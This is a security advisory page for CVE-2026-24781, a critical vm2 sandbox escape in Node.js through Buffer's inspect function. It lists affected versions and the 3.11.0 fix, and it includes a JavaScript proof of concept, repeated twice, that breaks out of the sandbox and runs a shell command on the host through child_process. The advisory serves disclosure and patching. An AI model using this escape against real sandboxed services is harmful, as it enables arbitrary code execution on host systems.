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9.8
CVE-2026-24781: Node.js vm2 Sandbox Breakout through Inspect Function
CVE-2026-24781
GHSA-v37h-5mfm-c47c
Summary
A vulnerability in Node.js' vm2 sandbox allows attackers to escape the sandbox and execute arbitrary commands on the host system. This affects versions prior to 3.11.0. Update to version 3.11.0 or later to patch the issue.
What to do
- Update vm2 to version 3.11.0.
Affected software
| Ecosystem | Vendor | Product | Affected versions |
|---|---|---|---|
| npm | – | vm2 |
<= 3.10.3 Fix: upgrade to 3.11.0
|
Original title
VM2 Has Sandbox Breakout Through Inspect Function
Original description
### Summary
VM2 suffers from a sandbox breakout vulnerability through the `inspect` function. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system.
### Details
The node `inspect` method allows to log details of objects. To get to the details, the implementation unwraps proxies. The unwrapped values can be extracted using the `this.seen` of the `stylize` function. This allows to get access to the internal proxy handler of VM2 which contains the sandbox object. Since the access to the handler is itself wrapped by a VM2 proxy, accessing the sandbox object in the proxy handler will result in a wrapped sandbox object given into the sandbox. This allows to write a wrapped host object to the wrapped sandbox object and read the raw host object from the raw sandbox object bypassing the proxy bridge.
### PoC
```js
const obj = {
subarray: Buffer.prototype.inspect,
slice: Buffer.prototype.slice,
hexSlice:()=>'',
l:{__proto__: null}
};
obj.slice(20, {showHidden: true, showProxy: true, depth: 10, stylize(a) {
if (this.seen?.[1]?.objectWrapper) this.seen[1].objectWrapper().x = obj.slice;
return a;
}});
obj.l.x.constructor("return process")().mainModule.require('child_process').execSync('touch pwned');
```
### Impact
Attackers can perform Remote Code Execution under the assumption that arbitrary code can be executed inside the context of a vm2 sandbox.
VM2 suffers from a sandbox breakout vulnerability through the `inspect` function. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system.
### Details
The node `inspect` method allows to log details of objects. To get to the details, the implementation unwraps proxies. The unwrapped values can be extracted using the `this.seen` of the `stylize` function. This allows to get access to the internal proxy handler of VM2 which contains the sandbox object. Since the access to the handler is itself wrapped by a VM2 proxy, accessing the sandbox object in the proxy handler will result in a wrapped sandbox object given into the sandbox. This allows to write a wrapped host object to the wrapped sandbox object and read the raw host object from the raw sandbox object bypassing the proxy bridge.
### PoC
```js
const obj = {
subarray: Buffer.prototype.inspect,
slice: Buffer.prototype.slice,
hexSlice:()=>'',
l:{__proto__: null}
};
obj.slice(20, {showHidden: true, showProxy: true, depth: 10, stylize(a) {
if (this.seen?.[1]?.objectWrapper) this.seen[1].objectWrapper().x = obj.slice;
return a;
}});
obj.l.x.constructor("return process")().mainModule.require('child_process').execSync('touch pwned');
```
### Impact
Attackers can perform Remote Code Execution under the assumption that arbitrary code can be executed inside the context of a vm2 sandbox.
nvd CVSS3.1
9.8
Vulnerability type
CWE-94
Code Injection
CWE-693
Protection Mechanism Failure
- https://github.com/patriksimek/vm2/commit/8d30d93213c1898b3e035298b89a814970dd11...
- https://github.com/patriksimek/vm2/commit/bdd3d15e57bc4ec5e70365cd79f7cb0256e5f8...
- https://github.com/patriksimek/vm2/commit/fd266d084e0a3322d0f71ba2a8dc4c96cd0302...
- https://github.com/patriksimek/vm2/releases/tag/v3.11.0
- https://github.com/patriksimek/vm2/security/advisories/GHSA-v37h-5mfm-c47c
- https://nvd.nist.gov/vuln/detail/CVE-2026-24781
- https://github.com/advisories/GHSA-v37h-5mfm-c47c
Published: 5 May 2026 · Updated: 28 May 2026 · First seen: 4 May 2026